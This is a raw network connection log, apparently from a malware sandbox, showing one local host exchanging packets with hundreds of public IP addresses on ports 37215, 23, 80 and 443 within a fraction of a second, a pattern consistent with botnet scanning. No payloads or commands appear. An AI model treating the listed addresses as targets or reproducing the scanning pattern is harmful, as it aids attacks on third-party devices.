Oct 14, 2024 17:30:06.890625000 CEST	37215	53786	41.40.83.137	192.168.2.14
Oct 14, 2024 17:30:06.890631914 CEST	37215	53786	156.219.132.214	192.168.2.14
Oct 14, 2024 17:30:06.890635967 CEST	49818	23	192.168.2.14	204.6.173.1
Oct 14, 2024 17:30:06.890645027 CEST	37215	53786	41.173.220.227	192.168.2.14
Oct 14, 2024 17:30:06.890650988 CEST	80	53274	189.129.164.94	192.168.2.14
Oct 14, 2024 17:30:06.890651941 CEST	39888	23	192.168.2.14	35.245.47.93
Oct 14, 2024 17:30:06.890656948 CEST	37215	53786	197.64.92.238	192.168.2.14
Oct 14, 2024 17:30:06.890657902 CEST	35318	23	192.168.2.14	45.59.10.98
Oct 14, 2024 17:30:06.890661955 CEST	37215	53786	41.171.90.183	192.168.2.14
Oct 14, 2024 17:30:06.890666008 CEST	53786	37215	192.168.2.14	156.219.132.214
Oct 14, 2024 17:30:06.890667915 CEST	37215	53786	156.71.112.108	192.168.2.14
Oct 14, 2024 17:30:06.890674114 CEST	37215	53786	156.180.77.75	192.168.2.14
Oct 14, 2024 17:30:06.890680075 CEST	37215	53786	197.233.69.56	192.168.2.14
Oct 14, 2024 17:30:06.890686035 CEST	80	53274	201.1.202.112	192.168.2.14
Oct 14, 2024 17:30:06.890686035 CEST	53786	37215	192.168.2.14	41.173.220.227
Oct 14, 2024 17:30:06.890688896 CEST	53786	37215	192.168.2.14	41.40.83.137
Oct 14, 2024 17:30:06.890696049 CEST	80	53274	208.89.253.186	192.168.2.14
Oct 14, 2024 17:30:06.890702009 CEST	37215	53786	41.8.16.192	192.168.2.14
Oct 14, 2024 17:30:06.890702009 CEST	53274	80	192.168.2.14	189.129.164.94
Oct 14, 2024 17:30:06.890707970 CEST	53786	37215	192.168.2.14	197.64.92.238
Oct 14, 2024 17:30:06.890708923 CEST	53786	37215	192.168.2.14	156.180.77.75
Oct 14, 2024 17:30:06.890710115 CEST	37215	53786	197.189.163.24	192.168.2.14
Oct 14, 2024 17:30:06.890713930 CEST	53786	37215	192.168.2.14	197.233.69.56
Oct 14, 2024 17:30:06.890713930 CEST	53786	37215	192.168.2.14	41.171.90.183
Oct 14, 2024 17:30:06.890732050 CEST	53786	37215	192.168.2.14	41.8.16.192
Oct 14, 2024 17:30:06.890733957 CEST	53786	37215	192.168.2.14	156.71.112.108
Oct 14, 2024 17:30:06.890737057 CEST	80	53274	211.49.176.152	192.168.2.14
Oct 14, 2024 17:30:06.890744925 CEST	80	53274	166.143.139.124	192.168.2.14
Oct 14, 2024 17:30:06.890746117 CEST	53274	80	192.168.2.14	201.1.202.112
Oct 14, 2024 17:30:06.890750885 CEST	37215	53786	41.33.165.204	192.168.2.14
Oct 14, 2024 17:30:06.890753984 CEST	53786	37215	192.168.2.14	197.189.163.24
Oct 14, 2024 17:30:06.890757084 CEST	37215	53786	41.82.149.189	192.168.2.14
Oct 14, 2024 17:30:06.890760899 CEST	53274	80	192.168.2.14	208.89.253.186
Oct 14, 2024 17:30:06.890763044 CEST	37215	53786	197.189.245.70	192.168.2.14
Oct 14, 2024 17:30:06.890769958 CEST	37215	53786	41.158.47.131	192.168.2.14
Oct 14, 2024 17:30:06.890775919 CEST	37215	53786	197.116.144.23	192.168.2.14
Oct 14, 2024 17:30:06.890780926 CEST	53274	80	192.168.2.14	211.49.176.152
Oct 14, 2024 17:30:06.890782118 CEST	37215	53786	41.18.132.5	192.168.2.14
Oct 14, 2024 17:30:06.890788078 CEST	37215	53786	197.118.203.240	192.168.2.14
Oct 14, 2024 17:30:06.890790939 CEST	53786	37215	192.168.2.14	41.82.149.189
Oct 14, 2024 17:30:06.890790939 CEST	53786	37215	192.168.2.14	41.33.165.204
Oct 14, 2024 17:30:06.890793085 CEST	53274	80	192.168.2.14	166.143.139.124
Oct 14, 2024 17:30:06.890794039 CEST	37215	53786	41.85.213.122	192.168.2.14
Oct 14, 2024 17:30:06.890800953 CEST	37215	53786	197.163.223.37	192.168.2.14
Oct 14, 2024 17:30:06.890804052 CEST	53786	37215	192.168.2.14	197.189.245.70
Oct 14, 2024 17:30:06.890806913 CEST	37215	53786	41.207.202.159	192.168.2.14
Oct 14, 2024 17:30:06.890813112 CEST	37215	53786	197.40.233.57	192.168.2.14
Oct 14, 2024 17:30:06.890821934 CEST	53786	37215	192.168.2.14	41.158.47.131
Oct 14, 2024 17:30:06.890825987 CEST	37215	53786	156.16.239.75	192.168.2.14
Oct 14, 2024 17:30:06.890827894 CEST	53786	37215	192.168.2.14	197.116.144.23
Oct 14, 2024 17:30:06.890832901 CEST	53786	37215	192.168.2.14	41.18.132.5
Oct 14, 2024 17:30:06.890834093 CEST	37215	53786	41.217.80.98	192.168.2.14
Oct 14, 2024 17:30:06.890841961 CEST	53786	37215	192.168.2.14	197.118.203.240
Oct 14, 2024 17:30:06.890849113 CEST	53786	37215	192.168.2.14	41.207.202.159
Oct 14, 2024 17:30:06.890862942 CEST	53786	37215	192.168.2.14	197.163.223.37
Oct 14, 2024 17:30:06.890862942 CEST	53786	37215	192.168.2.14	197.40.233.57
Oct 14, 2024 17:30:06.890862942 CEST	53786	37215	192.168.2.14	41.85.213.122
Oct 14, 2024 17:30:06.890862942 CEST	53786	37215	192.168.2.14	156.16.239.75
Oct 14, 2024 17:30:06.890876055 CEST	53786	37215	192.168.2.14	41.217.80.98
Oct 14, 2024 17:30:06.890927076 CEST	40564	23	192.168.2.14	37.182.134.151
Oct 14, 2024 17:30:06.890949011 CEST	47626	23	192.168.2.14	14.177.61.150
Oct 14, 2024 17:30:06.890949965 CEST	54042	443	192.168.2.14	42.38.197.25
Oct 14, 2024 17:30:06.890949965 CEST	54042	443	192.168.2.14	123.212.178.221
Oct 14, 2024 17:30:06.890958071 CEST	54042	443	192.168.2.14	148.160.14.156
Oct 14, 2024 17:30:06.890958071 CEST	59742	23	192.168.2.14	182.60.152.105
Oct 14, 2024 17:30:06.890958071 CEST	54042	443	192.168.2.14	123.104.103.108
Oct 14, 2024 17:30:06.890969992 CEST	54042	443	192.168.2.14	123.170.73.96
Oct 14, 2024 17:30:06.890971899 CEST	54042	443	192.168.2.14	5.162.68.229
Oct 14, 2024 17:30:06.890985012 CEST	56764	23	192.168.2.14	192.179.79.254
Oct 14, 2024 17:30:06.891000986 CEST	54042	443	192.168.2.14	210.175.11.47
Oct 14, 2024 17:30:06.891000986 CEST	54042	443	192.168.2.14	94.30.167.217
Oct 14, 2024 17:30:06.891005039 CEST	54042	443	192.168.2.14	5.104.4.72
Oct 14, 2024 17:30:06.891012907 CEST	34404	23	192.168.2.14	179.111.43.68
Oct 14, 2024 17:30:06.891012907 CEST	54042	443	192.168.2.14	178.179.155.9
Oct 14, 2024 17:30:06.891024113 CEST	54042	443	192.168.2.14	2.251.249.66
Oct 14, 2024 17:30:06.891026974 CEST	59854	23	192.168.2.14	2.4.227.218
Oct 14, 2024 17:30:06.891032934 CEST	54042	443	192.168.2.14	2.122.188.26
Oct 14, 2024 17:30:06.891066074 CEST	58214	23	192.168.2.14	74.153.81.52
Oct 14, 2024 17:30:06.891068935 CEST	37215	53786	41.183.186.51	192.168.2.14
Oct 14, 2024 17:30:06.891077042 CEST	37215	53786	156.112.164.166	192.168.2.14
Oct 14, 2024 17:30:06.891088963 CEST	54042	443	192.168.2.14	5.86.254.85
Oct 14, 2024 17:30:06.891089916 CEST	37215	53786	197.228.54.119	192.168.2.14
Oct 14, 2024 17:30:06.891097069 CEST	54042	443	192.168.2.14	123.30.30.253
Oct 14, 2024 17:30:06.891097069 CEST	37215	53786	197.50.21.1	192.168.2.14
Oct 14, 2024 17:30:06.891103029 CEST	37215	53786	41.140.186.29	192.168.2.14
Oct 14, 2024 17:30:06.891104937 CEST	52612	23	192.168.2.14	107.64.85.81
Oct 14, 2024 17:30:06.891108990 CEST	54042	443	192.168.2.14	37.155.11.38
Oct 14, 2024 17:30:06.891108990 CEST	37215	53786	156.233.48.255	192.168.2.14
Oct 14, 2024 17:30:06.891108990 CEST	54042	443	192.168.2.14	202.16.197.141
Oct 14, 2024 17:30:06.891113043 CEST	54042	443	192.168.2.14	118.202.180.247
Oct 14, 2024 17:30:06.891115904 CEST	42318	23	192.168.2.14	46.3.93.65
Oct 14, 2024 17:30:06.891117096 CEST	37215	53786	156.97.128.144	192.168.2.14
Oct 14, 2024 17:30:06.891118050 CEST	53786	37215	192.168.2.14	156.112.164.166
Oct 14, 2024 17:30:06.891124964 CEST	54042	443	192.168.2.14	148.222.170.50
Oct 14, 2024 17:30:06.891124964 CEST	53786	37215	192.168.2.14	41.183.186.51
Oct 14, 2024 17:30:06.891130924 CEST	37215	53786	41.48.31.149	192.168.2.14
Oct 14, 2024 17:30:06.891136885 CEST	37215	53786	197.55.61.17	192.168.2.14
Oct 14, 2024 17:30:06.891140938 CEST	53786	37215	192.168.2.14	197.50.21.1
Oct 14, 2024 17:30:06.891143084 CEST	53786	37215	192.168.2.14	197.228.54.119
Oct 14, 2024 17:30:06.891143084 CEST	53786	37215	192.168.2.14	41.140.186.29
Oct 14, 2024 17:30:06.891144037 CEST	37215	53786	197.41.9.193	192.168.2.14
Oct 14, 2024 17:30:06.891154051 CEST	37215	53786	41.10.149.99	192.168.2.14
Oct 14, 2024 17:30:06.891160011 CEST	37215	53786	197.232.240.161	192.168.2.14
Oct 14, 2024 17:30:06.891161919 CEST	54042	443	192.168.2.14	118.111.149.227
Oct 14, 2024 17:30:06.891165018 CEST	53786	37215	192.168.2.14	156.233.48.255
Oct 14, 2024 17:30:06.891165018 CEST	54042	443	192.168.2.14	202.74.217.133
Oct 14, 2024 17:30:06.891165972 CEST	54042	443	192.168.2.14	5.2.60.116
Oct 14, 2024 17:30:06.891165972 CEST	54042	443	192.168.2.14	42.79.151.143
Oct 14, 2024 17:30:06.891165972 CEST	53786	37215	192.168.2.14	41.48.31.149
Oct 14, 2024 17:30:06.891165018 CEST	53786	37215	192.168.2.14	156.97.128.144
Oct 14, 2024 17:30:06.891165018 CEST	37215	53786	41.19.164.166	192.168.2.14
Oct 14, 2024 17:30:06.891175985 CEST	54042	443	192.168.2.14	94.240.108.59
Oct 14, 2024 17:30:06.891176939 CEST	37215	53786	41.121.227.138	192.168.2.14
Oct 14, 2024 17:30:06.891180038 CEST	53786	37215	192.168.2.14	197.55.61.17
Oct 14, 2024 17:30:06.891182899 CEST	37215	53786	156.215.147.196	192.168.2.14
Oct 14, 2024 17:30:06.891189098 CEST	37215	53786	41.49.190.232	192.168.2.14
Oct 14, 2024 17:30:06.891192913 CEST	53786	37215	192.168.2.14	197.41.9.193
Oct 14, 2024 17:30:06.891192913 CEST	53786	37215	192.168.2.14	41.10.149.99
Oct 14, 2024 17:30:06.891194105 CEST	37215	53786	197.126.90.153	192.168.2.14
Oct 14, 2024 17:30:06.891201019 CEST	37215	53786	197.88.186.95	192.168.2.14
Oct 14, 2024 17:30:06.891201973 CEST	53786	37215	192.168.2.14	197.232.240.161
Oct 14, 2024 17:30:06.891201973 CEST	54042	443	192.168.2.14	212.109.165.127
Oct 14, 2024 17:30:06.891206980 CEST	37215	53786	197.241.211.59	192.168.2.14
Oct 14, 2024 17:30:06.891212940 CEST	37215	53786	41.221.170.73	192.168.2.14
Oct 14, 2024 17:30:06.891212940 CEST	53786	37215	192.168.2.14	41.19.164.166
Oct 14, 2024 17:30:06.891216040 CEST	54042	443	192.168.2.14	178.255.23.37
Oct 14, 2024 17:30:06.891218901 CEST	37215	53786	156.175.194.125	192.168.2.14
Oct 14, 2024 17:30:06.891223907 CEST	53786	37215	192.168.2.14	41.49.190.232
Oct 14, 2024 17:30:06.891225100 CEST	53786	37215	192.168.2.14	41.121.227.138
Oct 14, 2024 17:30:06.891225100 CEST	37215	53786	197.137.49.117	192.168.2.14
Oct 14, 2024 17:30:06.891232014 CEST	53786	37215	192.168.2.14	197.88.186.95
Oct 14, 2024 17:30:06.891233921 CEST	37215	53786	41.99.22.51	192.168.2.14
Oct 14, 2024 17:30:06.891258001 CEST	54042	443	192.168.2.14	123.190.128.178
Oct 14, 2024 17:30:06.891258001 CEST	54042	443	192.168.2.14	42.49.73.31
Oct 14, 2024 17:30:06.891258955 CEST	37215	53786	156.165.205.244	192.168.2.14
Oct 14, 2024 17:30:06.891263962 CEST	54042	443	192.168.2.14	37.155.114.94
Oct 14, 2024 17:30:06.891264915 CEST	53786	37215	192.168.2.14	197.126.90.153
Oct 14, 2024 17:30:06.891264915 CEST	37215	53786	41.168.253.58	192.168.2.14
Oct 14, 2024 17:30:06.891271114 CEST	37215	53786	156.124.125.35	192.168.2.14
Oct 14, 2024 17:30:06.891273975 CEST	53786	37215	192.168.2.14	197.241.211.59
Oct 14, 2024 17:30:06.891273975 CEST	53786	37215	192.168.2.14	197.137.49.117
Oct 14, 2024 17:30:06.891275883 CEST	37215	53786	156.88.222.150	192.168.2.14
Oct 14, 2024 17:30:06.891278982 CEST	54042	443	192.168.2.14	79.241.97.58
Oct 14, 2024 17:30:06.891282082 CEST	37215	53786	41.1.38.43	192.168.2.14
Oct 14, 2024 17:30:06.891283035 CEST	53786	37215	192.168.2.14	156.175.194.125
Oct 14, 2024 17:30:06.891283989 CEST	53786	37215	192.168.2.14	156.215.147.196
Oct 14, 2024 17:30:06.891283035 CEST	53786	37215	192.168.2.14	41.221.170.73
Oct 14, 2024 17:30:06.891288042 CEST	54042	443	192.168.2.14	117.159.101.64
Oct 14, 2024 17:30:06.891288042 CEST	54042	443	192.168.2.14	123.55.19.198
Oct 14, 2024 17:30:06.891288042 CEST	53786	37215	192.168.2.14	156.165.205.244
Oct 14, 2024 17:30:06.891297102 CEST	53786	37215	192.168.2.14	41.99.22.51
Oct 14, 2024 17:30:06.891299963 CEST	53786	37215	192.168.2.14	41.168.253.58
Oct 14, 2024 17:30:06.891305923 CEST	37215	53786	197.4.239.194	192.168.2.14
Oct 14, 2024 17:30:06.891311884 CEST	37215	53786	156.164.107.73	192.168.2.14
Oct 14, 2024 17:30:06.891314030 CEST	53786	37215	192.168.2.14	41.1.38.43
Oct 14, 2024 17:30:06.891314983 CEST	53786	37215	192.168.2.14	156.88.222.150
Oct 14, 2024 17:30:06.891318083 CEST	37215	53786	197.153.32.30	192.168.2.14
Oct 14, 2024 17:30:06.891331911 CEST	53786	37215	192.168.2.14	156.124.125.35
Oct 14, 2024 17:30:06.891333103 CEST	54042	443	192.168.2.14	109.240.138.188
Oct 14, 2024 17:30:06.891341925 CEST	37215	53786	197.231.94.82	192.168.2.14
Oct 14, 2024 17:30:06.891341925 CEST	53786	37215	192.168.2.14	197.4.239.194
Oct 14, 2024 17:30:06.891347885 CEST	37215	53786	41.203.70.143	192.168.2.14
Oct 14, 2024 17:30:06.891349077 CEST	38822	23	192.168.2.14	182.21.206.218
Oct 14, 2024 17:30:06.891354084 CEST	37215	53786	41.28.39.137	192.168.2.14
Oct 14, 2024 17:30:06.891356945 CEST	53786	37215	192.168.2.14	197.153.32.30
Oct 14, 2024 17:30:06.891360044 CEST	37215	53786	41.67.209.153	192.168.2.14
Oct 14, 2024 17:30:06.891365051 CEST	37215	53786	197.74.22.57	192.168.2.14
Oct 14, 2024 17:30:06.891366005 CEST	53786	37215	192.168.2.14	156.164.107.73
Oct 14, 2024 17:30:06.891366959 CEST	49178	23	192.168.2.14	87.71.226.183
Oct 14, 2024 17:30:06.891371012 CEST	37215	53786	197.239.128.204	192.168.2.14
Oct 14, 2024 17:30:06.891376972 CEST	37215	53786	197.91.225.90	192.168.2.14
Oct 14, 2024 17:30:06.891377926 CEST	53786	37215	192.168.2.14	197.231.94.82
Oct 14, 2024 17:30:06.891388893 CEST	52278	23	192.168.2.14	137.143.105.150
Oct 14, 2024 17:30:06.891388893 CEST	53786	37215	192.168.2.14	41.203.70.143
Oct 14, 2024 17:30:06.891390085 CEST	37215	53786	156.241.113.176	192.168.2.14
Oct 14, 2024 17:30:06.891388893 CEST	53786	37215	192.168.2.14	41.28.39.137
Oct 14, 2024 17:30:06.891398907 CEST	37215	53786	156.1.156.47	192.168.2.14
Oct 14, 2024 17:30:06.891403913 CEST	53786	37215	192.168.2.14	197.74.22.57
Oct 14, 2024 17:30:06.891403913 CEST	37215	53786	156.131.141.47	192.168.2.14
Oct 14, 2024 17:30:06.891407013 CEST	53786	37215	192.168.2.14	41.67.209.153
Oct 14, 2024 17:30:06.891410112 CEST	37215	53786	156.201.98.66	192.168.2.14
Oct 14, 2024 17:30:06.891415119 CEST	37215	53786	156.194.217.6	192.168.2.14
Oct 14, 2024 17:30:06.891417980 CEST	53786	37215	192.168.2.14	197.239.128.204
Oct 14, 2024 17:30:06.891419888 CEST	37215	53786	41.34.201.220	192.168.2.14
Oct 14, 2024 17:30:06.891424894 CEST	37215	53786	41.42.106.2	192.168.2.14
Oct 14, 2024 17:30:06.891426086 CEST	53786	37215	192.168.2.14	156.1.156.47
Oct 14, 2024 17:30:06.891433001 CEST	53786	37215	192.168.2.14	197.91.225.90
Oct 14, 2024 17:30:06.891433001 CEST	54042	443	192.168.2.14	178.139.177.77
Oct 14, 2024 17:30:06.891441107 CEST	53786	37215	192.168.2.14	156.241.113.176
Oct 14, 2024 17:30:06.891443014 CEST	37215	53786	156.52.251.129	192.168.2.14
Oct 14, 2024 17:30:06.891450882 CEST	37215	53786	41.124.94.169	192.168.2.14
Oct 14, 2024 17:30:06.891450882 CEST	53786	37215	192.168.2.14	156.201.98.66
Oct 14, 2024 17:30:06.891452074 CEST	53786	37215	192.168.2.14	156.194.217.6
Oct 14, 2024 17:30:06.891457081 CEST	37215	53786	156.183.156.222	192.168.2.14
Oct 14, 2024 17:30:06.891460896 CEST	53786	37215	192.168.2.14	156.131.141.47
Oct 14, 2024 17:30:06.891459942 CEST	443	54042	178.139.177.77	192.168.2.14
Oct 14, 2024 17:30:06.891463041 CEST	37215	53786	41.63.193.171	192.168.2.14
Oct 14, 2024 17:30:06.891469002 CEST	37215	53786	197.234.78.116	192.168.2.14
Oct 14, 2024 17:30:06.891473055 CEST	53786	37215	192.168.2.14	41.34.201.220
Oct 14, 2024 17:30:06.891473055 CEST	53786	37215	192.168.2.14	41.42.106.2
Oct 14, 2024 17:30:06.891474962 CEST	37215	53786	41.56.219.158	192.168.2.14
Oct 14, 2024 17:30:06.891477108 CEST	54042	443	192.168.2.14	109.31.124.150
Oct 14, 2024 17:30:06.891477108 CEST	54042	443	192.168.2.14	109.124.28.111
Oct 14, 2024 17:30:06.891480923 CEST	37215	53786	197.181.71.92	192.168.2.14
Oct 14, 2024 17:30:06.891484976 CEST	53786	37215	192.168.2.14	41.124.94.169
Oct 14, 2024 17:30:06.891486883 CEST	37215	53786	41.196.65.16	192.168.2.14
Oct 14, 2024 17:30:06.891493082 CEST	37215	53786	41.207.181.41	192.168.2.14
Oct 14, 2024 17:30:06.891499043 CEST	37215	53786	156.71.250.19	192.168.2.14
Oct 14, 2024 17:30:06.891500950 CEST	53786	37215	192.168.2.14	156.183.156.222
Oct 14, 2024 17:30:06.891504049 CEST	37215	53786	41.154.226.29	192.168.2.14
Oct 14, 2024 17:30:06.891509056 CEST	53786	37215	192.168.2.14	156.52.251.129
Oct 14, 2024 17:30:06.891510010 CEST	54042	443	192.168.2.14	178.139.177.77
Oct 14, 2024 17:30:06.891511917 CEST	53786	37215	192.168.2.14	41.63.193.171
Oct 14, 2024 17:30:06.891514063 CEST	50660	23	192.168.2.14	167.202.26.228
Oct 14, 2024 17:30:06.891514063 CEST	35648	23	192.168.2.14	104.156.25.65
Oct 14, 2024 17:30:06.891531944 CEST	53786	37215	192.168.2.14	41.56.219.158
Oct 14, 2024 17:30:06.891535044 CEST	53786	37215	192.168.2.14	197.234.78.116
Oct 14, 2024 17:30:06.891544104 CEST	53786	37215	192.168.2.14	41.207.181.41
Oct 14, 2024 17:30:06.891544104 CEST	53786	37215	192.168.2.14	41.196.65.16
Oct 14, 2024 17:30:06.891546011 CEST	53786	37215	192.168.2.14	197.181.71.92
Oct 14, 2024 17:30:06.891547918 CEST	53786	37215	192.168.2.14	156.71.250.19
Oct 14, 2024 17:30:06.891552925 CEST	53786	37215	192.168.2.14	41.154.226.29
Oct 14, 2024 17:30:06.891558886 CEST	54042	443	192.168.2.14	148.230.243.165
Oct 14, 2024 17:30:06.891573906 CEST	54042	443	192.168.2.14	148.83.99.30
Oct 14, 2024 17:30:06.891581059 CEST	44570	23	192.168.2.14	19.3.12.81
Oct 14, 2024 17:30:06.891588926 CEST	54042	443	192.168.2.14	212.200.27.40
Oct 14, 2024 17:30:06.891592026 CEST	54042	443	192.168.2.14	202.109.17.211
Oct 14, 2024 17:30:06.891592026 CEST	54042	443	192.168.2.14	210.67.136.230
Oct 14, 2024 17:30:06.891592979 CEST	54042	443	192.168.2.14	94.225.120.213
Oct 14, 2024 17:30:06.891592979 CEST	54042	443	192.168.2.14	202.117.153.249
Oct 14, 2024 17:30:06.891613960 CEST	54042	443	192.168.2.14	212.148.117.169
Oct 14, 2024 17:30:06.891613960 CEST	33800	23	192.168.2.14	85.149.27.74
Oct 14, 2024 17:30:06.891613960 CEST	54042	443	192.168.2.14	42.77.19.33
Oct 14, 2024 17:30:06.891633034 CEST	54042	443	192.168.2.14	123.86.114.17
Oct 14, 2024 17:30:06.891633034 CEST	54042	443	192.168.2.14	118.131.105.51
Oct 14, 2024 17:30:06.891644001 CEST	54042	443	192.168.2.14	123.30.166.162
Oct 14, 2024 17:30:06.891670942 CEST	54042	443	192.168.2.14	178.3.92.179
Oct 14, 2024 17:30:06.891674042 CEST	54042	443	192.168.2.14	94.247.77.9
Oct 14, 2024 17:30:06.891683102 CEST	54042	443	192.168.2.14	148.144.229.57
Oct 14, 2024 17:30:06.891691923 CEST	54042	443	192.168.2.14	79.25.38.26
Oct 14, 2024 17:30:06.891691923 CEST	54042	443	192.168.2.14	202.50.158.113
Oct 14, 2024 17:30:06.891693115 CEST	54042	443	192.168.2.14	37.58.43.183
Oct 14, 2024 17:30:06.891699076 CEST	54042	443	192.168.2.14	178.197.178.151
Oct 14, 2024 17:30:06.891710997 CEST	54042	443	192.168.2.14	210.225.223.97
Oct 14, 2024 17:30:06.891719103 CEST	54042	443	192.168.2.14	37.60.211.199
Oct 14, 2024 17:30:06.891731024 CEST	54042	443	192.168.2.14	94.67.172.42
Oct 14, 2024 17:30:06.891736984 CEST	54042	443	192.168.2.14	148.253.20.219
Oct 14, 2024 17:30:06.891748905 CEST	54042	443	192.168.2.14	212.80.137.48
Oct 14, 2024 17:30:06.891767979 CEST	54042	443	192.168.2.14	5.224.255.178
Oct 14, 2024 17:30:06.891767979 CEST	54042	443	192.168.2.14	109.119.174.62
Oct 14, 2024 17:30:06.891777992 CEST	54042	443	192.168.2.14	178.248.78.212
Oct 14, 2024 17:30:06.891777992 CEST	54042	443	192.168.2.14	210.229.95.5
Oct 14, 2024 17:30:06.891782999 CEST	54042	443	192.168.2.14	212.204.192.175
Oct 14, 2024 17:30:06.891792059 CEST	37215	53786	41.29.97.30	192.168.2.14
Oct 14, 2024 17:30:06.891793013 CEST	54042	443	192.168.2.14	123.255.134.179
Oct 14, 2024 17:30:06.891798019 CEST	37215	53786	197.79.141.86	192.168.2.14
Oct 14, 2024 17:30:06.891798019 CEST	54042	443	192.168.2.14	2.5.88.68
Oct 14, 2024 17:30:06.891798973 CEST	54042	443	192.168.2.14	123.32.116.33
Oct 14, 2024 17:30:06.891803980 CEST	37215	53786	41.137.1.69	192.168.2.14
Oct 14, 2024 17:30:06.891809940 CEST	37215	53786	197.190.249.148	192.168.2.14
Oct 14, 2024 17:30:06.891813040 CEST	54042	443	192.168.2.14	117.223.99.194
Oct 14, 2024 17:30:06.891814947 CEST	37215	53786	156.1.174.111	192.168.2.14
Oct 14, 2024 17:30:06.891819954 CEST	37215	53786	156.107.10.233	192.168.2.14
Oct 14, 2024 17:30:06.891822100 CEST	54042	443	192.168.2.14	178.231.189.249
Oct 14, 2024 17:30:06.891822100 CEST	53786	37215	192.168.2.14	41.29.97.30
Oct 14, 2024 17:30:06.891825914 CEST	37215	53786	41.222.106.241	192.168.2.14
Oct 14, 2024 17:30:06.891828060 CEST	54042	443	192.168.2.14	109.170.30.175
Oct 14, 2024 17:30:06.891832113 CEST	37215	53786	156.43.132.230	192.168.2.14
Oct 14, 2024 17:30:06.891838074 CEST	37215	53786	156.196.31.150	192.168.2.14
Oct 14, 2024 17:30:06.891839981 CEST	53786	37215	192.168.2.14	41.137.1.69
Oct 14, 2024 17:30:06.891843081 CEST	37215	53786	197.135.239.123	192.168.2.14
Oct 14, 2024 17:30:06.891849041 CEST	37215	53786	41.102.146.87	192.168.2.14
Oct 14, 2024 17:30:06.891849995 CEST	53786	37215	192.168.2.14	156.1.174.111
Oct 14, 2024 17:30:06.891853094 CEST	53786	37215	192.168.2.14	197.79.141.86
Oct 14, 2024 17:30:06.891853094 CEST	53786	37215	192.168.2.14	156.107.10.233
Oct 14, 2024 17:30:06.891855001 CEST	53786	37215	192.168.2.14	197.190.249.148
Oct 14, 2024 17:30:06.891863108 CEST	53786	37215	192.168.2.14	156.43.132.230
Oct 14, 2024 17:30:06.891865015 CEST	37215	53786	41.125.37.146	192.168.2.14
Oct 14, 2024 17:30:06.891872883 CEST	37215	53786	156.4.11.38	192.168.2.14
Oct 14, 2024 17:30:06.891879082 CEST	37215	53786	41.121.143.146	192.168.2.14
Oct 14, 2024 17:30:06.891884089 CEST	37215	53786	197.94.86.121	192.168.2.14
Oct 14, 2024 17:30:06.891885042 CEST	53786	37215	192.168.2.14	41.102.146.87
Oct 14, 2024 17:30:06.891885042 CEST	53786	37215	192.168.2.14	197.135.239.123
Oct 14, 2024 17:30:06.891885042 CEST	53786	37215	192.168.2.14	156.196.31.150
Oct 14, 2024 17:30:06.891885996 CEST	53786	37215	192.168.2.14	41.222.106.241
Oct 14, 2024 17:30:06.891887903 CEST	54042	443	192.168.2.14	123.167.16.185
Oct 14, 2024 17:30:06.891890049 CEST	37215	53786	41.45.28.140	192.168.2.14
Oct 14, 2024 17:30:06.891896009 CEST	54042	443	192.168.2.14	5.104.164.127
Oct 14, 2024 17:30:06.891896963 CEST	37215	53786	41.50.42.228	192.168.2.14
Oct 14, 2024 17:30:06.891901970 CEST	37215	53786	197.228.23.87	192.168.2.14
Oct 14, 2024 17:30:06.891904116 CEST	53786	37215	192.168.2.14	41.125.37.146
Oct 14, 2024 17:30:06.891907930 CEST	37215	53786	197.3.153.149	192.168.2.14
Oct 14, 2024 17:30:06.891907930 CEST	53786	37215	192.168.2.14	41.121.143.146
Oct 14, 2024 17:30:06.891912937 CEST	53786	37215	192.168.2.14	156.4.11.38
Oct 14, 2024 17:30:06.891912937 CEST	37215	53786	197.195.77.168	192.168.2.14
Oct 14, 2024 17:30:06.891912937 CEST	53786	37215	192.168.2.14	197.94.86.121
Oct 14, 2024 17:30:06.891920090 CEST	37215	53786	156.187.184.58	192.168.2.14
Oct 14, 2024 17:30:06.891926050 CEST	80	53274	62.27.243.202	192.168.2.14
Oct 14, 2024 17:30:06.891927004 CEST	53786	37215	192.168.2.14	41.45.28.140
Oct 14, 2024 17:30:06.891931057 CEST	37215	53786	156.83.158.206	192.168.2.14
Oct 14, 2024 17:30:06.891936064 CEST	53786	37215	192.168.2.14	41.50.42.228
Oct 14, 2024 17:30:06.891937017 CEST	37215	53786	197.155.238.115	192.168.2.14
Oct 14, 2024 17:30:06.891941071 CEST	53786	37215	192.168.2.14	197.228.23.87
Oct 14, 2024 17:30:06.891941071 CEST	53786	37215	192.168.2.14	197.3.153.149
Oct 14, 2024 17:30:06.891941071 CEST	54042	443	192.168.2.14	123.128.194.232
Oct 14, 2024 17:30:06.891942978 CEST	80	53274	90.169.92.100	192.168.2.14
Oct 14, 2024 17:30:06.891948938 CEST	37215	53786	197.61.220.76	192.168.2.14
Oct 14, 2024 17:30:06.891952991 CEST	54042	443	192.168.2.14	42.152.235.13
Oct 14, 2024 17:30:06.891954899 CEST	37215	53786	41.89.142.50	192.168.2.14
Oct 14, 2024 17:30:06.891961098 CEST	37215	53786	156.99.254.83	192.168.2.14
Oct 14, 2024 17:30:06.891964912 CEST	53786	37215	192.168.2.14	197.155.238.115
Oct 14, 2024 17:30:06.891964912 CEST	53786	37215	192.168.2.14	197.195.77.168
Oct 14, 2024 17:30:06.891973019 CEST	53786	37215	192.168.2.14	156.83.158.206
Oct 14, 2024 17:30:06.891979933 CEST	53274	80	192.168.2.14	90.169.92.100
Oct 14, 2024 17:30:06.891988039 CEST	53786	37215	192.168.2.14	156.99.254.83
Oct 14, 2024 17:30:06.891988039 CEST	53786	37215	192.168.2.14	197.61.220.76
Oct 14, 2024 17:30:06.891989946 CEST	53274	80	192.168.2.14	62.27.243.202
Oct 14, 2024 17:30:06.891992092 CEST	53786	37215	192.168.2.14	156.187.184.58
Oct 14, 2024 17:30:06.891992092 CEST	54042	443	192.168.2.14	117.80.28.12
Oct 14, 2024 17:30:06.891992092 CEST	54042	443	192.168.2.14	210.161.30.29
Oct 14, 2024 17:30:06.891998053 CEST	54042	443	192.168.2.14	5.91.206.154
Oct 14, 2024 17:30:06.892014027 CEST	54042	443	192.168.2.14	79.53.225.163
Oct 14, 2024 17:30:06.892016888 CEST	53786	37215	192.168.2.14	41.89.142.50
Oct 14, 2024 17:30:06.892016888 CEST	54042	443	192.168.2.14	37.36.218.188
Oct 14, 2024 17:30:06.892029047 CEST	54042	443	192.168.2.14	178.179.127.193
Oct 14, 2024 17:30:06.892039061 CEST	54042	443	192.168.2.14	2.20.237.127
Oct 14, 2024 17:30:06.892041922 CEST	54042	443	192.168.2.14	2.56.181.219
Oct 14, 2024 17:30:06.892045021 CEST	54042	443	192.168.2.14	79.47.46.155
